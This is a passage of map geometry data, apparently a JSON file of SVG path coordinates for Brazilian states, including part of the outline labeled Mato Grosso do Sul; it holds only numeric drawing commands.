111719.00 120864.00C111719.00 120853.33 111719.00 120842.67 111719.00 120832.00C111697.67 120832.00 111676.33 120832.00 111655.00 120832.00C111633.67 120821.00 111612.33 120810.00 111591.00 120799.00C111580.33 120799.00 111569.67 120799.00 111559.00 120799.00C111537.33 120810.00 111515.67 120821.00 111494.00 120832.00C111440.33 120799.67 111386.67 120767.33 111333.00 120735.00C111322.33 120745.67 111311.67 120756.33 111301.00 120767.00C111279.67 120745.67 111258.33 120724.33 111237.00 120703.00C111247.67 120703.00 111258.33 120703.00 111269.00 120703.00C111258.33 120692.33 111247.67 120681.67 111237.00 120671.00C111226.33 120681.67 111215.67 120692.33 111205.00 120703.00C111194.33 120703.00 111183.67 120703.00 111173.00 120703.00C111162.33 120681.67 111151.67 120660.33 111141.00 120639.00C111130.00 120649.67 111119.00 120660.33 111108.00 120671.00C111108.00 120660.33 111108.00 120649.67 111108.00 120639.00C111097.33 120639.00 111086.67 120639.00 111076.00 120639.00C111076.00 120628.33 111076.00 120617.67 111076.00 120607.00C111086.67 120607.00 111097.33 120607.00 111108.00 120607.00C111076.00 120607.00 111044.00 120607.00 111012.00 120607.00C110990.67 120585.33 110969.33 120563.67 110948.00 120542.00C110937.33 120552.67 110926.67 120563.33 110916.00 120574.00C110894.33 120563.33 110872.67 120552.67 110851.00 120542.00C110861.67 120542.00 110872.33 120542.00 110883.00 120542.00C110861.67 120531.33 110840.33 120520.67 110819.00 120510.00C110829.67 120510.00 110840.33 120510.00 110851.00 120510.00C110808.33 120488.67 110765.67 120467.33 110723.00 120446.00C110690.67 120446.00 110658.33 120446.00 110626.00 120446.00C110626.00 120435.33 110626.00 120424.67 110626.00 120414.00C110636.67 120403.00 110647.33 120392.00 110658.00 120381.00C110636.67 120381.00 110615.33 120381.00 110594.00 120381.00C110594.00 120392.00 110594.00 120403.00 110594.00 120414.00C110583.33 120414.00 110572.67 120414.00 110562.00 120414.00C110540.33 120392.33 110518.67 120370.67 110497.00 120349.00C110497.00 120338.33 110497.00 120327.67 110497.00 120317.00C110486.33 120317.00 110475.67 120317.00 110465.00 120317.00C110454.33 120295.67 110443.67 120274.33 110433.00 120253.00C110422.33 120253.00 110411.67 120253.00 110401.00 120253.00C110401.00 120242.33 110401.00 120231.67 110401.00 120221.00C110390.33 120199.33 110379.67 120177.67 110369.00 120156.00C110347.67 120156.00 110326.33 120156.00 110305.00 120156.00C110294.00 120134.67 110283.00 120113.33 110272.00 120092.00C110261.33 120092.00 110250.67 120092.00 110240.00 120092.00C110240.00 120081.33 110240.00 120070.67 110240.00 120060.00C110218.67 120060.00 110197.33 120060.00 110176.00 120060.00C110165.33 120049.33 110154.67 120038.67 110144.00 120028.00C110144.00 120038.67 110144.00 120049.33 110144.00 120060.00C110122.67 120060.00 110101.33 120060.00 110080.00 120060.00C110061.25 120041.86 110042.49 120023.73 110024.17 120005.17C110021.11 120002.11 110018.06 119999.06 110015.00 119996.00C110025.67 120017.33 110036.33 120038.67 110047.00 120060.00C110025.67 120060.00 110004.33 120060.00 109983.00 120060.00C109972.33 120049.33 109961.67 120038.67 109951.00 120028.00C109929.67 120028.00 109908.33 120028.00 109887.00 120028.00C109887.00 120017.33 109887.00 120006.67 109887.00 119996.00C109868.25 120014.14 109849.49 120032.27 109831.17 120050.83C109817.44 120064.56 109803.72 120078.28 109790.00 120092.00C109790.00 120081.33 109790.00 120070.67 109790.00 120060.00C109800.67 120049.33 109811.33 120038.67 109822.00 120028.00C109811.33 120017.33 109800.67 120006.67 109790.00 119996.00C109779.33 119996.00 109768.67 119996.00 109758.00 119996.00C109736.67 119985.00 109715.33 119974.00 109694.00 119963.00C109694.00 119974.00 109694.00 119985.00 109694.00 119996.00C109694.00 119985.00 109694.00 119974.00 109694.00 119963.00C109683.00 119952.33 109672.00 119941.67 109661.00 119931.00C109650.33 119931.00 109639.67 119931.00 109629.00 119931.00C109618.33 119920.33 109607.67 119909.67 109597.00 119899.00C109586.33 119909.67 109575.67 119920.33 109565.00 119931.00C109543.67 119931.00 109522.33 119931.00 109501.00 119931.00C109490.33 119920.33 109479.67 119909.67 109469.00 119899.00C109458.00 119899.00 109447.00 119899.00 109436.00 119899.00C109436.00 119888.33 109436.00 119877.67 109436.00 119867.00C109447.00 119867.00 109458.00 119867.00 109469.00 119867.00C109458.00 119867.00 109447.00 119867.00 109436.00 119867.00C109414.67 119845.67 109393.33 119824.33 109372.00 119803.00C109382.67 119803.00 109393.33 119803.00 109404.00 119803.00C109393.33 119792.33 109382.67 119781.67 109372.00 119771.00C109372.00 119749.33 109372.00 119727.67 109372.00 119706.00C109361.33 119695.33 109350.67 119684.67 109340.00 119674.00C109340.00 119684.67 109340.00 119695.33 109340.00 119706.00C109318.67 119695.33 109297.33 119684.67 109276.00 119674.00C109265.33 119674.00 109254.67 119674.00 109244.00 119674.00C109233.00 119663.33 109222.00 119652.67 109211.00 119642.00C109200.33 119642.00 109189.67 119642.00 109179.00 119642.00C109157.67 119620.67 109136.33 119599.33 109115.00 119578.00C109104.33 119578.00 109093.67 119578.00 109083.00 119578.00C109083.00 119556.33 109083.00 119534.67 109083.00 119513.00C109072.33 119502.33 109061.67 119491.67 109051.00 119481.00C109051.00 119470.33 109051.00 119459.67 109051.00 119449.00C109040.00 119449.00 109029.00 119449.00 109018.00 119449.00C109018.00 119438.33 109018.00 119427.67 109018.00 119417.00C109007.33 119417.00 108996.67 119417.00 108986.00 119417.00C108964.67 119427.67 108943.33 119438.33 108922.00 119449.00C108922.00 119438.33 108922.00 119427.67 108922.00 119417.00C108911.33 119427.67 108900.67 119438.33 108890.00 119449.00C108890.00 119438.33 108890.00 119427.67 108890.00 119417.00C108868.33 119406.33 108846.67 119395.67 108825.00 119385.00C108782.33 119385.00 108739.67 119385.00 108697.00 119385.00C108675.67 119363.33 108654.33 119341.67 108633.00 119320.00C108633.00 119331.00 108633.00 119342.00 108633.00 119353.00C108611.33 119342.00 108589.67 119331.00 108568.00 119320.00C108536.00 119320.00 108504.00 119320.00 108472.00 119320.00C108472.00 119341.67 108472.00 119363.33 108472.00 119385.00C108450.67 119385.00 108429.33 119385.00 108408.00 119385.00C108383.65 119372.90 108359.12 119361.16 108334.89 119348.82C108316.26 119339.21 108297.63 119329.61 108279.00 119320.00C108279.00 119309.33 108279.00 119298.67 108279.00 119288.00C108268.33 119288.00 108257.67 119288.00 108247.00 119288.00C108247.00 119277.33 108247.00 119266.67 108247.00 119256.00C108225.33 119256.00 108203.67 119256.00 108182.00 119256.00C108193.00 119256.00 108204.00 119256.00 108215.00 119256.00C108215.00 119234.67 108215.00 119213.33 108215.00 119192.00C108182.67 119192.00 108150.33 119192.00 108118.00 119192.00C108128.67 119181.33 108139.33 119170.67 108150.00 119160.00C108128.67 119160.00 108107.33 119160.00 108086.00 119160.00C108086.00 119149.00 108086.00 119138.00 108086.00 119127.00C108053.67 119095.00 108021.33 119063.00 107989.00 119031.00C107989.00 119020.33 107989.00 119009.67 107989.00 118999.00C107967.67 118988.33 107946.33 118977.67 107925.00 118967.00C107925.00 118945.33 107925.00 118923.67 107925.00 118902.00C107903.67 118891.33 107882.33 118880.67 107861.00 118870.00C107861.00 118859.33 107861.00 118848.67 107861.00 118838.00C107828.67 118773.67 107796.33 118709.33 107764.00 118645.00C107721.33 118645.00 107678.67 118645.00 107636.00 118645.00C107592.88 118623.64 107549.82 118602.17 107506.67 118580.89C107474.78 118570.26 107442.89 118559.63 107411.00 118549.00C107411.00 118538.33 107411.00 118527.67 107411.00 118517.00C107389.33 118506.00 107367.67 118495.00 107346.00 118484.00C107314.00 118484.00 107282.00 118484.00 107250.00 118484.00C107250.00 118495.00 107250.00 118506.00 107250.00 118517.00C107228.49 118527.82 107206.86 118538.45 107185.41 118549.39C107153.21 118570.69 107120.88 118591.85 107088.75 118613.25C107078.17 118623.83 107067.58 118634.42 107057.00 118645.00C107014.00 118645.00 106971.00 118645.00 106928.00 118645.00C106906.67 118655.67 106885.33 118666.33 106864.00 118677.00C106853.33 118666.33 106842.67 118655.67 106832.00 118645.00C106778.33 118634.33 106724.67 118623.67 106671.00 118613.00C106660.23 118613.09 106649.40 118612.83 106638.67 118613.13C106585.12 118634.42 106531.56 118655.71 106478.00 118677.00C106456.67 118666.33 106435.33 118655.67 106414.00 118645.00C106382.00 118645.00 106350.00 118645.00 106318.00 118645.00C106296.33 118634.33 106274.67 118623.67 106253.00 118613.00C106221.00 118613.00 106189.00 118613.00 106157.00 118613.00C106114.00 118591.67 106071.00 118570.33 106028.00 118549.00C106006.67 118559.67 105985.33 118570.33 105964.00 118581.00C105942.67 118570.33 105921.33 118559.67 105900.00 118549.00C105889.00 118549.00 105878.00 118549.00 105867.00 118549.00C105867.00 118538.33 105867.00 118527.67 105867.00 118517.00C105824.33 118495.33 105781.67 118473.67 105739.00 118452.00C105674.67 118441.33 105610.33 118430.67 105546.00 118420.00C105546.00 118388.00 105546.00 118356.00 105546.00 118324.00C105535.33 118313.00 105524.67 118302.00 105514.00 118291.00C105481.67 118291.00 105449.33 118291.00 105417.00 118291.00C105427.67 118269.67 105438.33 118248.33 105449.00 118227.00C105438.33 118205.67 105427.67 118184.33 105417.00 118163.00C105395.67 118141.67 105374.33 118120.33 105353.00 118099.00C105353.00 118077.33 105353.00 118055.67 105353.00 118034.00C105342.33 118012.67 105331.67 117991.33 105321.00 117970.00C105321.00 117959.33 105321.00 117948.67 105321.00 117938.00C105353.00 117895.00 105385.00 117852.00 105417.00 117809.00C105460.00 117798.33 105503.00 117787.67 105546.00 117777.00C105556.73 117744.90 105567.35 117712.75 105578.16 117680.69C105588.77 117659.12 105599.39 117637.56 105610.00 117616.00C105642.33 117594.67 105674.67 117573.33 105707.00 117552.00C105717.67 117509.00 105728.33 117466.00 105739.00 117423.00C105739.00 117412.33 105739.00 117401.67 105739.00 117391.00C105749.67 117380.33 105760.33 117369.67 105771.00 117359.00C105814.11 117358.96 105857.24 117359.08 105900.35 117358.94C105964.23 117348.29 106028.12 117337.65 106092.00 117327.00C106113.67 117284.00 106135.33 117241.00 106157.00 117198.00C106189.00 117166.00 106221.00 117134.00 106253.00 117102.00C106263.67 117069.67 106274.33 117037.33 106285.00 117005.00C106274.33 116994.33 106263.67 116983.67 106253.00 116973.00C106253.00 116962.33 106253.00 116951.67 106253.00 116941.00C106220.89 116919.63 106188.84 116898.15 106156.69 116876.84C106134.89 116866.18 106113.19 116855.30 106091.34 116844.77C106059.56 116833.85 106027.78 116822.92 105996.00 116812.00C105910.33 116812.00 105824.67 116812.00 105739.00 116812.00C105664.00 116790.67 105589.00 116769.33 105514.00 116748.00C105470.89 116748.05 105427.76 116747.91 105384.66 116748.07C105331.10 116758.71 105277.55 116769.36 105224.00 116780.00C105170.67 116812.33 105117.33 116844.67 105064.00 116877.00C105053.00 116919.67 105042.00 116962.33 105031.00 117005.00C105020.33 117005.00 105009.67 117005.00 104999.00 117005.00C104977.67 116994.33 104956.33 116983.67 104935.00 116973.00C104892.00 116973.00 104849.00 116973.00 104806.00 116973.00C104752.67 116919.33 104699.33 116865.67 104646.00 116812.00C104646.00 116747.67 104646.00 116683.33 104646.00 116619.00C104635.00 116576.33 104624.00 116533.67 104613.00 116491.00C104613.00 116448.00 104613.00 116405.00 104613.00 116362.00C104581.00 116265.67 104549.00 116169.33 104517.00 116073.00C104516.96 116040.55 104517.08 116008.09 104516.94 115975.65C104506.24 115911.33 104495.68 115846.97 104484.89 115782.67C104474.26 115750.78 104463.63 115718.89 104453.00 115687.00C104463.67 115665.67 104474.33 115644.33 104485.00 115623.00C104506.33 115612.33 104527.67 115601.67 104549.00 115591.00C104559.67 115580.00 104570.33 115569.00 104581.00 115558.00C104634.67 115558.00 104688.33 115558.00 104742.00 115558.00C104763.33 115536.67 104784.67 115515.33 104806.00 115494.00C104806.00 115397.67 104806.00 115301.33 104806.00 115205.00C104795.33 115183.33 104784.67 115161.67 104774.00 115140.00C104763.31 115129.21 104752.38 115118.59 104741.84 115107.69C104720.56 115065.12 104699.28 115022.56 104678.00 114980.00C104624.33 114947.67 104570.67 114915.33 104517.00 114883.00C104527.67 114851.00 104538.33 114819.00 104549.00 114787.00C104538.33 114776.33 104527.67 114765.67 104517.00 114755.00C104517.00 114744.00 104517.00 114733.00 104517.00 114722.00C104495.67 114700.67 104474.33 114679.33 104453.00 114658.00C104463.67 114604.33 104474.33 114550.67 104485.00 114497.00C104474.33 114475.67 104463.67 114454.33 104453.00 114433.00C104453.00 114422.33 104453.00 114411.67 104453.00 114401.00C104431.33 114379.67 104409.67 114358.33 104388.00 114337.00C104377.33 114315.33 104366.67 114293.67 104356.00 114272.00C104366.67 114261.33 104377.33 114250.67 104388.00 114240.00C104366.67 114218.67 104345.33 114197.33 104324.00 114176.00C104334.67 114165.33 104345.33 114154.67 104356.00 114144.00C104345.33 114144.00 104334.67 114144.00 104324.00 114144.00C104313.33 114122.33 104302.67 114100.67 104292.00 114079.00C104281.33 114079.00 104270.67 114079.00 104260.00 114079.00C104241.75 114060.70 104223.49 114042.40 104204.82 114024.52C104201.55 114021.35 104198.27 114018.17 104195.00 114015.00C104195.00 114004.33 104195.00 113993.67 104195.00 113983.00C104173.67 113972.33 104152.33 113961.67 104131.00 113951.00C104120.33 113940.33 104109.67 113929.67 104099.00 113919.00C104099.00 113929.67 104099.00 113940.33 104099.00 113951.00C104067.00 113929.33 104035.00 113907.67 104003.00 113886.00C104013.67 113875.33 104024.33 113864.67 104035.00 113854.00C104024.33 113843.33 104013.67 113832.67 104003.00 113822.00C104003.00 113811.33 104003.00 113800.67 104003.00 113790.00C103992.00 113790.00 103981.00 113790.00 103970.00 113790.00C103981.00 113779.33 103992.00 113768.67 104003.00 113758.00C104003.00 113747.33 104003.00 113736.67 104003.00 113726.00C103992.00 113715.33 103981.00 113704.67 103970.00 113694.00C103981.00 113683.00 103992.00 113672.00 104003.00 113661.00C103992.00 113661.00 103981.00 113661.00 103970.00 113661.00C103970.00 113639.67 103970.00 113618.33 103970.00 113597.00C103959.33 113575.67 103948.67 113554.33 103938.00 113533.00C103938.00 113511.33 103938.00 113489.67 103938.00 113468.00C103948.67 113457.33 103959.33 113446.67 103970.00 113436.00C103959.33 113436.00 103948.67 113436.00 103938.00 113436.00C103948.67 113425.33 103959.33 113414.67 103970.00 113404.00C103970.00 113393.33 103970.00 113382.67 103970.00 113372.00C103981.00 113361.33 103992.00 113350.67 104003.00 113340.00C104003.00 113286.33 104003.00 113232.67 104003.00 113179.00C103992.00 113168.33 103981.00 113157.67 103970.00 113147.00C103981.00 113136.33 103992.00 113125.67 104003.00 113115.00C103992.00 113104.33 103981.00 113093.67 103970.00 113083.00C103970.00 113061.33 103970.00 113039.67 103970.00 113018.00C103981.00 113018.00 103992.00 113018.00 104003.00 113018.00C103992.00 113018.00 103981.00 113018.00 103970.00 113018.00C103970.00 113007.33 103970.00 112996.67 103970.00 112986.00C103981.00 112964.67 103992.00 112943.33 104003.00 112922.00C104003.00 112911.33 104003.00 112900.67 104003.00 112890.00C104003.00 112900.67 104003.00 112911.33 104003.00 112922.00C104003.00 112900.67 104003.00 112879.33 104003.00 112858.00z"},"br-12":{"name":"Mato Grosso do Sul","path":"M81302.00 122857.00C81538.09 122363.79 81774.21 121870.59 82010.28 121377.37C82170.86 121023.92 82331.43 120670.46 82492.00 120317.00C82610.00 120317.00 82728.00 120317.00 82846.00 120317.00C82867.33 120285.00 82888.67 120253.00 82910.00 120221.00C82899.33 120221.00 82888.67 120221.00 82878.00 120221.00C82888.67 120199.33 82899.33 120177.67 82910.00 120156.00C82877.79 120123.87 82845.87 120091.45 82813.00 120060.00C82802.33 120060.00 82791.67 120060.00 82781.00 120060.00C82781.00 119931.33 82781.00 119802.67 82781.00 119674.00C82706.00 119674.00 82631.00 119674.00 82556.00 119674.00C82888.33 118602.33 83220.67 117530.67 83553.00 116459.00C83713.67 116448.33 83874.33 116437.67 84035.00 116427.00C84035.00 116416.00 84035.00 116405.00 84035.00 116394.00C84013.67 116383.33 83992.33 116372.67 83971.00 116362.00C83960.34 116351.33 83949.66 116340.67 83939.00 116330.00C83939.00 116308.67 83939.00 116287.33 83939.00 116266.00C83928.34 116255.33 83917.66 116244.67 83907.00 116234.00C83896.34 116244.67 83885.66 116255.33 83875.00 116266.00C83853.34 116255.33 83831.66 116244.67 83810.00 116234.00C83810.00 116244.67 83810.00 116255.33 83810.00 116266.00C83692.33 116158.67 83574.67 116051.33 83457.00 115944.00C83445.66 115899.53 83433.84 115855.17 83422.81 115810.61C83401.88 115715.74 83380.94 115620.87 83360.00 115526.00C83167.00 115161.67 82974.00 114797.33 82781.00 114433.00C82845.33 114433.00 82909.67 114433.00 82974.00 114433.00C82974.00 114401.00 82974.00 114369.00 82974.00 114337.00C82909.67 114283.33 82845.33 114229.67 82781.00 114176.00C82802.67 114111.67 82824.33 114047.33 82846.00 113983.00C82824.33 113961.67 82802.67 113940.33 82781.00 113919.00C82770.33 113919.00 82759.67 113919.00 82749.00 113919.00C82727.67 113876.00 82706.33 113833.00 82685.00 113790.00C82674.33 113790.00 82663.67 113790.00 82653.00 113790.00C82631.33 113736.33 82609.67 113682.67 82588.00 113629.00C82566.67 113618.33 82545.33 113607.67 82524.00 113597.00C82513.33 113575.67 82502.67 113554.33 82492.00 113533.00C82502.67 113511.33 82513.33 113489.67 82524.00 113468.00C82524.00 113436.00 82524.00 113404.00 82524.00 113372.00C82513.34 113382.67 82502.66 113393.33 82492.00 113404.00C82492.00 113393.33 82492.00 113382.67 82492.00 113372.00C82502.67 113350.67 82513.33 113329.33 82524.00 113308.00C82502.67 113308.00 82481.33 113308.00 82460.00 113308.00C82470.67 113308.00 82481.33 113308.00 82492.00 113308.00C82502.67 113286.33 82513.33 113264.67 82524.00 113243.00C82502.67 113254.00 82481.33 113265.00 82460.00 113276.00C82460.00 113265.00 82460.00 113254.00 82460.00 113243.00C82470.66 113232.33 82481.34 113221.67 82492.00 113211.00C82492.00 113200.33 82492.00 113189.67 82492.00 113179.00C82470.67 113168.33 82449.33 113157.67 82428.00 113147.00C82428.00 113136.33 82428.00 113125.67 82428.00 113115.00C82439.30 113115.23 82450.67 113114.52 82461.93 113115.38C82514.95 113125.92 82567.98 113136.46 82621.00 113147.00C82642.33 113104.00 82663.67 113061.00 82685.00 113018.00C82706.33 113007.33 82727.67 112996.67 82749.00 112986.00C82770.34 113007.33 82791.66 113028.67 82813.00 113050.00C82813.00 113093.00 82813.00 113136.00 82813.00 113179.00C82834.66 113189.67 82856.34 113200.33 82878.00 113211.00C82878.00 113254.00 82878.00 113297.00 82878.00 113340.00C82888.67 113382.67 82899.33 113425.33 82910.00 113468.00C82920.67 113468.00 82931.33 113468.00 82942.00 113468.00C82942.00 113489.67 82942.00 113511.33 82942.00 113533.00C82952.67 113533.00 82963.33 113533.00 82974.00 113533.00C82974.00 113565.00 82974.00 113597.00 82974.00 113629.00C82984.66 113639.67 82995.34 113650.33 83006.00 113661.00C83006.00 113672.00 83006.00 113683.00 83006.00 113694.00C83017.00 113694.00 83028.00 113694.00 83039.00 113694.00C83017.08 113715.08 82995.40 113736.39 82974.00 113758.00C82974.00 113790.00 82974.00 113822.00 82974.00 113854.00C82963.34 113864.67 82952.66 113875.33 82942.00 113886.00C82963.33 113897.00 82984.67 113908.00 83006.00 113919.00C83006.00 113929.67 83006.00 113940.33 83006.00 113951.00C83017.00 113951.00 83028.00 113951.00 83039.00 113951.00C83039.00 113961.67 83039.00 113972.33 83039.00 113983.00C83071.00 113972.33 83103.00 113961.67 83135.00 113951.00C83135.00 113940.33 83135.00 113929.67 83135.00 113919.00C83145.67 113919.00 83156.33 113919.00 83167.00 113919.00C83188.67 113940.33 83210.33 113961.67 83232.00 113983.00C83242.67 114004.33 83253.33 114025.67 83264.00 114047.00C83274.66 114057.67 83285.34 114068.33 83296.00 114079.00C83285.33 114079.00 83274.67 114079.00 83264.00 114079.00C83274.67 114100.67 83285.33 114122.33 83296.00 114144.00C83317.33 114154.67 83338.67 114165.33 83360.00 114176.00C83349.34 114186.67 83338.66 114197.33 83328.00 114208.00C83317.33 114208.00 83306.67 114208.00 83296.00 114208.00C83306.67 114240.00 83317.33 114272.00 83328.00 114304.00C83328.00 114315.00 83328.00 114326.00 83328.00 114337.00C83371.00 114326.00 83414.00 114315.00 83457.00 114304.00C83467.67 114336.33 83478.33 114368.67 83489.00 114401.00C83510.33 114401.00 83531.67 114401.00 83553.00 114401.00C83564.07 114411.84 83574.71 114423.17 83586.04 114433.69C83618.03 114454.79 83650.01 114475.90 83682.00 114497.00C83671.00 114518.67 83660.00 114540.33 83649.00 114562.00C83692.00 114583.33 83735.00 114604.67 83778.00 114626.00C83831.67 114615.33 83885.33 114604.67 83939.00 114594.00C83939.00 114626.00 83939.00 114658.00 83939.00 114690.00C83960.34 114722.33 83981.66 114754.67 84003.00 114787.00C84024.66 114797.67 84046.34 114808.33 84068.00 114819.00C84078.67 114797.67 84089.33 114776.33 84100.00 114755.00C84089.33 114722.67 84078.67 114690.33 84068.00 114658.00C84089.33 114658.00 84110.67 114658.00 84132.00 114658.00C84153.33 114626.00 84174.67 114594.00 84196.00 114562.00C84217.33 114572.67 84238.67 114583.33 84260.00 114594.00C84260.00 114583.33 84260.00 114572.67 84260.00 114562.00C84271.00 114551.33 84282.00 114540.67 84293.00 114530.00C84293.00 114519.00 84293.00 114508.00 84293.00 114497.00C84314.33 114508.00 84335.67 114519.00 84357.00 114530.00C84378.34 114497.67 84399.66 114465.33 84421.00 114433.00C84431.67 114433.00 84442.33 114433.00 84453.00 114433.00C84474.41 114454.59 84496.07 114475.94 84518.00 114497.00C84528.66 114486.33 84539.34 114475.67 84550.00 114465.00C84560.66 114475.67 84571.34 114486.33 84582.00 114497.00C84582.00 114486.33 84582.00 114475.67 84582.00 114465.00C84603.33 114465.00 84624.67 114465.00 84646.00 114465.00C84646.00 114454.33 84646.00 114443.67 84646.00 114433.00C84667.66 114422.33 84689.34 114411.67 84711.00 114401.00C84721.66 114390.33 84732.34 114379.67 84743.00 114369.00C84753.66 114379.67 84764.34 114390.33 84775.00 114401.00C84785.66 114390.33 84796.34 114379.67 84807.00 114369.00C84817.67 114369.00 84828.33 114369.00 84839.00 114369.00C84828.34 114379.67 84817.66 114390.33 84807.00 114401.00C84817.66 114411.67 84828.34 114422.33 84839.00 114433.00C84839.00 114411.67 84839.00 114390.33 84839.00 114369.00C84871.33 114379.67 84903.67 114390.33 84936.00 114401.00C84957.33 114390.33 84978.67 114379.67 85000.00 114369.00C85032.00 114369.00 85064.00 114369.00 85096.00 114369.00C85096.00 114358.33 85096.00 114347.67 85096.00 114337.00C85074.67 114337.00 85053.33 114337.00 85032.00 114337.00C85021.33 114315.33 85010.67 114293.67 85000.00 114272.00C85010.66 114282.67 85021.34 114293.33 85032.00 114304.00C85053.34 114282.67 85074.66 114261.33 85096.00 114240.00C85107.00 114250.67 85118.00 114261.33 85129.00 114272.00C85129.00 114261.33 85129.00 114250.67 85129.00 114240.00C85171.67 114240.00 85214.33 114240.00 85257.00 114240.00C85289.33 114229.33 85321.67 114218.67 85354.00 114208.00C85386.00 114208.00 85418.00 114208.00 85450.00 114208.00C85471.34 114186.67 85492.66 114165.33 85514.00 114144.00C85557.00 114165.33 85600.00 114186.67 85643.00 114208.00C85643.00 114197.33 85643.00 114186.67 85643.00 114176.00C85675.00 114176.00 85707.00 114176.00 85739.00 114176.00C85739.00 114143.67 85739.00 114111.33 85739.00 114079.00C85760.66 114068.33 85782.34 114057.67 85804.00 114047.00C85814.67 114025.67 85825.33 114004.33 85836.00 113983.00C85857.33 113983.00 85878.67 113983.00 85900.00 113983.00C85910.66 113972.33 85921.34 113961.67 85932.00 113951.00C85943.00 113961.67 85954.00 113972.33 85965.00 113983.00C85975.67 113983.00 85986.33 113983.00 85997.00 113983.00C86007.67 113918.67 86018.33 113854.33 86029.00 113790.00C86050.33 113790.00 86071.67 113790.00 86093.00 113790.00C86093.00 113779.33 86093.00 113768.67 86093.00 113758.00C86103.67 113736.67 86114.33 113715.33 86125.00 113694.00C86146.67 113694.00 86168.33 113694.00 86190.00 113694.00C86211.33 113672.33 86232.67 113650.67 86254.00 113629.00C86264.67 113597.00 86275.33 113565.00 86286.00 113533.00C86318.33 113490.00 86350.67 113447.00 86383.00 113404.00C86383.00 113393.33 86383.00 113382.67 86383.00 113372.00C86361.34 113382.67 86339.66 113393.33 86318.00 113404.00C86307.34 113393.33 86296.66 113382.67 86286.00 113372.00C86286.00 113361.33 86286.00 113350.67 86286.00 113340.00C86296.66 113329.33 86307.34 113318.67 86318.00 113308.00C86307.33 113286.33 86296.67 113264.67 86286.00 113243.00C86296.67 113243.00 86307.33 113243.00 86318.00 113243.00C86328.67 113221.67 86339.33 113200.33 86350.00 113179.00C86371.67 113179.00 86393.33 113179.00 86415.00 113179.00C86436.33 113147.00 86457.67 113115.00 86479.00 113083.00C86511.10 113071.94 86543.23 113060.98 86575.31 113049.85C86596.87 113039.23 86618.44 113028.62 86640.00 113018.00C86661.33 113028.67 86682.67 113039.33 86704.00 113050.00C86725.33 113039.33 86746.67 113028.67 86768.00 113018.00C86779.00 112986.00 86790.00 112954.00 86801.00 112922.00C86811.67 112922.00 86822.33 112922.00 86833.00 112922.00C86843.67 112900.67 86854.33 112879.33 86865.00 112858.00C86854.33 112847.00 86843.67 112836.00 86833.00 112825.00C86843.67 112803.67 86854.33 112782.33 86865.00 112761.00C86875.66 112771.67 86886.34 112782.33 86897.00 112793.00C86907.66 112782.33 86918.34 112771.67 86929.00 112761.00C86918.33 112739.67 86907.67 112718.33 86897.00 112697.00C86907.66 112686.33 86918.34 112675.67 86929.00 112665.00C86950.33 112665.00 86971.67 112665.00 86993.00 112665.00C87004.00 112654.00 87015.00 112643.00 87026.00 112632.00C87026.00 112621.33 87026.00 112610.67 87026.00 112600.00C87004.34 112589.33 86982.66 112578.67 86961.00 112568.00C86971.66 112557.33 86982.34 112546.67 86993.00 112536.00C87004.00 112536.00 87015.00 112536.00 87026.00 112536.00C87036.66 112525.33 87047.34 112514.67 87058.00 112504.00C87047.34 112493.33 87036.66 112482.67 87026.00 112472.00C87015.00 112472.00 87004.00 112472.00 86993.00 112472.00C86971.67 112461.33 86950.33 112450.67 86929.00 112440.00C86950.33 112429.00 86971.67 112418.00 86993.00 112407.00C86993.00 112375.00 86993.00 112343.00 86993.00 112311.00C87036.00 112300.33 87079.00 112289.67 87122.00 112279.00C87143.33 112289.67 87164.67 112300.33 87186.00 112311.00C87197.00 112311.00 87208.00 112311.00 87219.00 112311.00C87208.00 112289.67 87197.00 112268.33 87186.00 112247.00C87197.39 112235.83 87208.38 112224.18 87220.03 112213.31C87251.69 112192.20 87283.34 112171.10 87315.00 112150.00C87315.00 112139.33 87315.00 112128.67 87315.00 112118.00C87304.34 112107.33 87293.66 112096.67 87283.00 112086.00C87304.33 112075.33 87325.67 112064.67 87347.00 112054.00C87347.00 112032.33 87347.00 112010.67 87347.00 111989.00C87379.33 111989.00 87411.67 111989.00 87444.00 111989.00C87444.00 111967.67 87444.00 111946.33 87444.00 111925.00C87465.33 111925.00 87486.67 111925.00 87508.00 111925.00C87518.66 111935.67 87529.34 111946.33 87540.00 111957.00C87583.00 111957.00 87626.00 111957.00 87669.00 111957.00C87658.00 111967.67 87647.00 111978.33 87636.00 111989.00C87657.66 111978.33 87679.34 111967.67 87701.00 111957.00C87711.66 111967.67 87722.34 111978.33 87733.00 111989.00C87733.00 112000.00 87733.00 112011.00 87733.00 112022.00C87754.33 112032.67 87775.67 112043.33 87797.00 112054.00C87807.66 112043.33 87818.34 112032.67 87829.00 112022.00C87818.33 112011.00 87807.67 112000.00 87797.00 111989.00C87807.67 111989.00 87818.33 111989.00 87829.00 111989.00C87840.00 112010.67 87851.00 112032.33 87862.00 112054.00C87872.66 112043.33 87883.34 112032.67 87894.00 112022.00C87883.33 112011.00 87872.67 112000.00 87862.00 111989.00C87862.00 111978.33 87862.00 111967.67 87862.00 111957.00C87872.79 111967.69 87883.39 111978.59 87894.30 111989.16C87915.54 112000.10 87936.77 112011.05 87958.00 112022.00C87958.00 112011.00 87958.00 112000.00 87958.00 111989.00C87979.33 111989.00 88000.67 111989.00 88022.00 111989.00C88022.00 112000.00 88022.00 112011.00 88022.00 112022.00C88086.33 112022.00 88150.67 112022.00 88215.00 112022.00C88204.33 112000.33 88193.67 111978.67 88183.00 111957.00C88194.01 111957.23 88205.14 111956.54 88216.08 111957.36C88248.05 111967.91 88280.03 111978.45 88312.00 111989.00C88344.00 111967.67 88376.00 111946.33 88408.00 111925.00C88418.66 111935.67 88429.34 111946.33 88440.00 111957.00C88450.66 111946.33 88461.34 111935.67 88472.00 111925.00C88483.00 111925.00 88494.00 111925.00 88505.00 111925.00C88505.00 111914.33 88505.00 111903.67 88505.00 111893.00C88515.67 111893.00 88526.33 111893.00 88537.00 111893.00C88526.33 111871.67 88515.67 111850.33 88505.00 111829.00C88515.66 111839.67 88526.34 111850.33 88537.00 111861.00C88547.67 111839.67 88558.33 111818.33 88569.00 111797.00C88569.00 111818.33 88569.00 111839.67 88569.00 111861.00C88579.67 111861.00 88590.33 111861.00 88601.00 111861.00C88633.34 111882.33 88665.66 111903.67 88698.00 111925.00C88698.00 111914.33 88698.00 111903.67 88698.00 111893.00C88708.67 111893.00 88719.33 111893.00 88730.00 111893.00C88730.00 111914.33 88730.00 111935.67 88730.00 111957.00C88751.33 111946.33 88772.67 111935.67 88794.00 111925.00C88794.00 111946.33 88794.00 111967.67 88794.00 111989.00C88804.67 112000.00 88815.33 112011.00 88826.00 112022.00C88847.66 112000.33 88869.34 111978.67 88891.00 111957.00C88912.33 111946.33 88933.67 111935.67 88955.00 111925.00C88965.66 111935.67 